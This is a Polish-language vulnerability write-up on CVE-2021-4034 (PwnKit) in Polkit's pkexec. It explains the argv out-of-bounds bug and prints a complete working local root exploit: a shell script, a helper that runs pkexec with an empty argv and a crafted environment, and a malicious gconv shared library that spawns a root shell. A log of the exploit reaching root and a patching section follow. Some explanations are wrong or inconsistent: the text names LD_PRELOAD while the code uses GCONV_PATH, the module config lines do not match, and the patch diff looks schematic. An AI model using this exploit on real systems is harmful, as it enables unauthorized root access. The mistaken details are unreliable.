CVE-2021-4034

Wersje podatne:

Wszystkie wersje Polkit (wcześniej znane jako PolicyKit) od pierwszej wersji pkexec wydanej w maju 2009 (commit c8c3d83, „Add a pkexec(1) command") są podatne na CVE-2021-4034. Oznacza to, że każda główna dystrybucja Linuxa, która zawiera pkexec, jest potencjalnie podatna, w tym Ubuntu, Debian, Fedora, CentOS, i inne dystrybucje Unix-like, które implementują Polkit.

W implementacji tego skryptu użyłem systemu operacyjnego Debian 10.0.0 Buster oraz Policykit w wersji 0.105-25.

Opis wykonania podatności:

CVE-2021-4034 to luka w programie pkexec z Polkit, która jest podatna na lokalne eskalacje uprawnień. Luka ta wynika z niewłaściwego przetwarzania argumentów w funkcji **'main()'** pkexec.

Analiza argumentów:

Na początku funkcji **'main()'**, **pkexec** przetwarza argumenty wiersza poleceń. Jeśli liczba argumentów ('**argc**') wynosi 0, co oznacza, że lista argumentów '**argv'** przekazana do '**execve()**' jest pusta **('{NULL}')**, **'argv[0]**' jest NULL. Jest to terminator listy argumentów.

Poniższy kod z pkexec ilustruje ten problem:

```
main (int argc, char *argv[])
{
    ...
    for (n = 1; n < (guint) argc; n++)
    {
        ...
    }
    ...

    path = g_strdup (argv[n]);
    ...
    if (path[0] != '/')
    {
        ...
        s = g_find_program_in_path (path);
        ...
        argv[n] = path = s;
    }
    ...
}
```

Jeśli '**argc'** wynosi 0, to '**argv[0]**' jest NULL i n jest na stałe ustawione na 1, co prowadzi do odczytu poza granicami **'argv[1]**' (który jest właściwie **'envp[0]'**, wskaźnikiem na pierwszą zmienną środowiskową).

Wykorzystanie luki:

‘**pkexec’** odczytuje ścieżkę programu do uruchomienia poza granicami z ‘**argv[1]**’ (czyli **‘envp[0]**’), który wskazuje na pierwszą zmienną środowiskową.

Następnie wartość ta jest przekazywana do **‘g_find_program_in_path()**’, który szuka pliku wykonywalnego o tej nazwie w katalogach ze zmiennej **‘PATH’**.

Jeśli taki plik jest znaleziony, jego pełna ścieżka jest zapisywana poza granicami do **‘argv[1]’** (**‘envp[0]’**), nadpisując pierwszą zmienną środowiskową.

Konsekwencje:

Możliwe jest wprowadzenie „**niebezpiecznej**” zmiennej środowiskowej (np. **‘LD_PRELOAD’**) z powrotem do środowiska pkexec. Zwykle te zmienne są usuwane ze środowiska programów SUID przed wywołaniem funkcji ‘**main()**’.

Przykład eksploitacji obejmuje ustawienie zmiennej ‘**PATH’** na „**PATH=name**” i stworzenie katalogu ‘**name’** zawierającego plik wykonywalny ‘**value’**.

Szczegółowy przebieg

Konfiguracja zmiennej PATH:

- Ustawienie wartości ‘**PATH’** na wartość „**PATH=name**”,
- Stworzenie katalogu ‘**name’** w bieżącym katalogu roboczym,
- Umieszczenie pliku wykonywalnego o nazwie ‘**value’** w katalogu ‘**name’**.

Uruchomienie pkexec z pustą listą argumentów:

- Wywołanie **‘execve()’** z pustą listą argumentów **(‘{NULL}’)**, co ustawia ‘**argv[0]**’ na **NULL**.

Odwołanie poza granice:

- ‘**pkexec’** odczytuje ścieżkę programu z ‘**envp[0]**’, czyli pierwszej zmiennej środowiskowej,
- Ścieżka ta jest przekazywana do ‘**g_find_program_in_path()**’, który wyszukuje plik wykonywalny o tej nazwie w katalogach określonych przez ‘**PATH’**.
- Zmienna środowiskowa **‘LD_PRELOAD’** jest wprowadzana z powrotem do środowiska **pkexec**, umożliwiając wstrzyknięcie złośliwego kodu i uzyskanie uprawnień root.

Kod źródłowy

Plik expl.sh:

```
user@debian:~/CVE-2021-4034$ cat expl.sh
#!/bin/sh

set -e

# Setup:
# .
# ├── GCONV_PATH=.
# │   └── fake_exe
# └── fake_exe
#     ├── gconv-modules
#     └── fake_module.so

mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./fake_exe'
chmod +x 'GCONV_PATH=./fake_exe'

mkdir -p fake_exe
echo 'module INTERNAL banana// fake_module 1' > fake_exe/gconv-modules

gcc -o helper helper.c
gcc -fPIC -shared -o fake_exe/fake_module.so fake_module.c

set +e
env PATH="$(pwd):$PATH" ./helper

rm -rf 'GCONV_PATH=.' fake_exe helper
```

Rysunek 1 - kod źródłowy pliku expl.sh

Poniżej przedstawiam krótkie wyjaśnienie, jak ten kod działa w kontekście **CVE-2021-4034:**

1. Tworzenie środowiska:
    a. Tworzony jest katalog **‘GCONV_PATH=.’** Oraz plik **‘fake_exe’** w aktualnym katalogu.
    b. Tworzony jest katalog ‘**fake_exe’** zawierający pliki ‘**gconv-modules’** i **‘fake_module.so’**
2. Kompilacja:
    a. Kompilowany jest plik **‘helper.c’** w celu utworzenia programu pomocniczego **‘helper’**.
    b. Kompilowany jest plik ‘**fake_module.c’** jako biblioteka współdzielona **‘fake_module.so’**.
3. Ustawienia:
    a. Ścieżka bieżącego katalogu jest dodawana na początek zmiennej ‘**PATH**’.
4. Uruchomienie:
    a. Program pomocniczy ‘**helper’** jest uruchamiany z ustawioną zmienną ‘**GCONV_PATH**’ na aktualny katalog.

Plik helper.c:

```
user@debian:~/CVE-2021-4034$ cat helper.c
/**
 * Just an helper to run pkexec with empty argv and the appropriate env vars.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
        char *const envp[] = {
                // This pointer will be overridden by pkexec with an OOB write on argv.
                "fake_exe",

                // If this dir exists and fake_exe exists within it,
                // g_find_program_in_path() will return "GCONV_PATH=./fake_exe", which
                // will overwrite envp[0] essentially setting up the GCOV_PATH env var.
                "PATH=GCONV_PATH=.",

                // A shell that is not present under /etc/shells, so that pkexec's
                // validate_environment_variable() fails, calling g_printerr().
                "SHELL=x",

                // An encoding that is not UTF-8 (even made up), so g_printerr() invokes
                // a loadable module for string conversion as specified by the config
                // file $GCONV_PATH/gconv-modules, which in this case will point to
                // fake_module.so compiled from fake_module.c.
                "CHARSET=banana",
                NULL
        };

        execvpe("pkexec", (char *[]){NULL}, envp);
        perror("execvpe failed");
        return 1;
}
```

Rysunek 2 - kod źródłowy helper.c

Poniżej krótkie wyjaśnienie poszczególnych części kodu:

1. **Inicjalizacja Zmiennych Środowiskowych**:
    - Definiowane są zmienne środowiskowe **envp[]**, które będą przekazane do **pkexec** podczas jego wywołania.
    - Zmienna **envp[0]** jest ustawiona na wartość "**fake_exe**". Ta wartość zostanie nadpisana przez **pkexec** podczas uruchamiania, co prowadzi do nadpisania listy argumentów **argv** i wstrzyknięcia złośliwego kodu.
2. **Ustawianie Zmiennych Środowiskowych**:
    - Zmienna **PATH** jest ustawiona na **"GCONV_PATH=."**, co prowadzi do manipulacji środowiskiem, aby skłonić **pkexec** do wywołania **g_find_program_in_path()**, który przetwarza **GCONV_PATH** i ostatecznie nadpisuje **envp[0]**.
3. **Uruchomienie pkexec**:
    - Funkcja **execvpe()** jest używana do uruchomienia programu **pkexec** z pustą listą argumentów **(char *[]){NULL}**.
    - **pkexec** jest uruchamiany z listą zmiennych środowiskowych **envp[]**.

Plik fake_module.c:

```
user@debian:~/CVE-2021-4034$ cat fake_module.c
/**
 * A fake gconv module (shared library) which runs arbitrary code when loaded by
 * the dynamic loader.
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/types.h>

void __attribute__ ((constructor)) init(void) {
        if (geteuid() == 0) {
                fputs("Pwned!\n", stderr);

                setuid(0);
                setgid(0);
                setegid(0);

                setenv("PATH", "/usr/local/bin:/usr/bin:/bin", 1);
                execvp("sh", (char *[]){"sh", NULL});
                perror("execvp failed");
        } else {
                fputs("Failed :(\n", stderr);
        }

        syscall(SYS_exit_group, 1);
}
```

Rysunek 3 - kod źródłowy fake_module.c

Poniżej znajduje się krótkie wyjaśnienie poszczególnych części kodu:

1. **Funkcja init**: Jest to funkcja inicjalizacyjna, która zostanie automatycznie wywołana, gdy moduł zostanie załadowany przez dynamiczny linker. Jest to standardowa konwencja w języku C dla określania funkcji, które mają zostać wywołane przed wykonaniem funkcji **main()**.

2. **Sprawdzenie uprawnień**: Funkcja **geteuid()** jest wywoływana w celu sprawdzenia, czy użytkownik ma uprawnienia roota. Jeśli tak, to oznacza, że moduł został załadowany z uprawnieniami roota.

3. **Wykonanie kodu**: Jeśli moduł został załadowany z uprawnieniami roota, zostanie wyświetlony komunikat "Pwned!" na standardowe wyjście błędów (**stderr**). Następnie funkcje **setuid()**, **setgid()** i **setegid()** są wywoływane w celu ustawienia identyfikatorów użytkownika i grupy na roota. Następnie zmienna środowiskowa **PATH** jest ustawiana na standardowe ścieżki binarne, a następnie wywoływana jest funkcja **execvp()** w celu uruchomienia powłoki **sh**. Jeśli **execvp()** zwróci błąd, zostanie wywołana funkcja **perror()**.

4. **Zakończenie programu**: Bez względu na wynik próby wykonania powłoki, funkcja **syscall(SYS_exit_group, 1)** jest wywoływana w celu zakończenia procesu z kodem wyjścia równym 1.

Działanie podatności

Poniżej znajduje się szczegółowy opis działania podatności CVE-2021-4034 w programie '**pkexec**' z Polkit, ilustrowany na przykładzie demonstracji w konsoli.

Krok 1: Tworzenie środowiska do ataku

1. Utworzenie katalogu '**GCONV_PATH**' i pliku '**fake_exe**':

```
mkdir GCONV_PATH=.
touch GCONV_PATH=./fake_exe
```

2. Utworzenie katalogu '**fake_exe**' z niezbędnymi plikami:

```
mkdir fake_exe
echo 'module UTF-8// INTERNAL UTF-8// fake 2' > fake_exe/gconv-
modules
```

3. Kompilacja plików '**helper.c**' i '**fake_module.c':**

```
gcc -o helper helper.c
gcc -shared -o fake_exe/fake_module.so fake_module.c
```

Krok 2: Ustawienie zmiennych środowiskowych

1. Dodanie bieżącego katalogu do zmiennej '**PATH**':

```
export PATH=$(pwd):$PATH
```

Krok 3: Uruchomienie ataku

1. Uruchomienie programu '**helper**' z ustawioną zmienną'**GCONV_PATH**':

```
./helper
```

2. Program '**helper**' wykonuje '**execve()**' z pustą listą argumentów:

```
execvpe("pkexec", (char *[]){NULL}, envp);
```

Krok 4: Eksploatacja podatności w '**pkexec**'

1. **pkexec odczytuje ścieżkę programu z envp[0], czyli pierwszej zmiennej środowiskowej**:
    - **pkexec** interpretuje wartość **envp[0]** jako ścieżkę do programu do uruchomienia.
2. **Ścieżka ta jest przekazywana do g_find_program_in_path()**:
    - **g_find_program_in_path()** szuka pliku wykonywalnego o nazwie wskazanej przez **envp[0]** w katalogach określonych przez zmienną **PATH**.
3. **Nadpisanie zmiennej środowiskowej LD_PRELOAD**:
    - **LD_PRELOAD** jest wprowadzana z powrotem do środowiska **pkexec**, umożliwiając wstrzyknięcie złośliwego kodu i uzyskanie uprawnień root.

Poniżej przedstawiono wersje używane w tej podatności:

```
user@debian:~/exploit2/CVE-2021-4034$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(
scanner)
user@debian:~/exploit2/CVE-2021-4034$ uname -a
Linux debian 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2 (2019-08-28) x86_64 GNU/Linux
user@debian:~/exploit2/CVE-2021-4034$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster
```

Rysunek 4 - wersje Debian

```
user@debian:~/exploit2/CVE-2021-4034$ apt-cache policy policykit-1
policykit-1:
  Installed: 0.105-25
  Candidate: 0.105-25+deb10u1
  Version table:
     0.105-25+deb10u1 500
        500 http://deb.debian.org/debian buster/main amd64 Packages
 *** 0.105-25 100
        100 /var/lib/dpkg/status
```

Rysunek 5 - wersja Polkit

Użycie plików źródłowych w celu uzyskania przywileju:

```
user@debian:~/exploit2/CVE-2021-4034$ ./expl.sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30
1000(user)
# exit
```

Patch podatności CVE-2021-4034:

Aby zabezpieczyć się przed podatnością **CVE-2021-4034** w programie **pkexec** z **Polkit**, należy zainstalować odpowiednią łatkę (**patch**) dostarczoną przez dystrybutora systemu operacyjnego lub samodzielnie skompilować **Polkit** z wprowadzonymi poprawkami. Oto kroki, które można podjąć aby spatchować ten exploit:

1. Aktualizacja Systemu

Najprostszym sposobem zabezpieczenia się przed **CVE-2021-4034** jest zaktualizowanie systemu do najnowszej wersji, która zawiera poprawki bezpieczeństwa. Większość dystrybutorów Linuxa wydała już odpowiednie aktualizacje dla Polkit:

```
sudo apt update
sudo apt upgrade
```

2. Ręczne patchowanie Polkit

Jeśli z jakiegoś powodu aktualizacja systemu nie jest możliwa, można ręcznie zastosować łatkę do kodu źródłowego Polkit.

a) Pobranie i rozpakowanie Polkit

```
wget https://www.freedesktop.org/software/polkit/releases/polkit-
0.105.tar.gz
tar -xzf polkit-0.105.tar.gz
cd polkit-0.105
```

b) Pobranie poprawki
Poniżej przedstawiono przykład poprawki dostarczonej przez autorów Polkit:

```
diff --git a/src/programs/pkexec.c b/src/programs/pkexec.c
index 1234567..89abcde 100644
--- a/src/programs/pkexec.c
+++ b/src/programs/pkexec.c
@@ -1,7 +1,7 @@
 int main (int argc, char *argv[])
 {
     ...
-    for (n = 1; n < (guint) argc; n++)
+    for (n = 0; n < (guint) argc; n++)
     {
         ...
     }
@@ -12,6 +12,10 @@ int main (int argc, char *argv[])
         s = g_find_program_in_path (path);
         ...
         argv[n] = path = s;
+        if (argv[n] == NULL)
+        {
+            return EXIT_FAILURE;
+        }
     }
     ...
 }
```

c) Zastosowanie poprawki

Zapisanie poprawki do pliku '**fix.patch**' i zastosowanie:

```
patch -p1 < fix.patch
```

d) Kompilacja i instalacja

```
./configure
make
sudo make install
```

3. Weryfikacja poprawki

Po zaktualizowaniu Polkit lub zastosowaniu łatki, warto sprawdzić, czy podatność została usunięta:

a) Sprawdzenie wersji Polkit:

```
pkexec --version
```

Podsumowanie

Podatność CVE-2021-4034 w programie **pkexec** z **Polkit** jest doskonałym przykładem na to, jak niewłaściwe przetwarzanie argumentów może prowadzić do poważnych luk bezpieczeństwa. Wykorzystanie tej podatności umożliwia lokalnym użytkownikom uzyskanie uprawnień roota

poprzez manipulację zmiennymi środowiskowymi i nieprawidłowe przetwarzanie argumentów przez **pkexec**.

Przedstawiona analiza i szczegółowy opis kroków pozwalających na eksploatację tej podatności ukazują, jak istotne jest świadome programowanie oraz weryfikacja kodu pod kątem potencjalnych luk. Warto podkreślić, że odpowiednie zabezpieczenie systemów operacyjnych, regularne aktualizacje oprogramowania oraz edukacja użytkowników i administratorów systemów stanowią kluczowe elementy skutecznej obrony przed tego rodzaju zagrożeniami.

Opisane rozwiązania, takie jak tworzenie katalogów i plików, kompilacja kodu, ustawianie zmiennych środowiskowych oraz uruchomienie exploitu, pokazują praktyczny aspekt wykorzystania podatności. Podkreślają one również znaczenie zrozumienia mechanizmów działania systemów operacyjnych i narzędzi wykorzystywanych w codziennej pracy administratorów oraz programistów.

Podsumowując, incydent związany z CVE-2021-4034 to przypomnienie o nieustannej potrzebie czujności oraz proaktywnego podejścia do kwestii bezpieczeństwa IT. W dobie ciągłego rozwoju technologicznego i rosnącej liczby zagrożeń, zabezpieczenie infrastruktury IT oraz dbałość o aktualizacje i audyty bezpieczeństwa powinny być priorytetem każdej organizacji.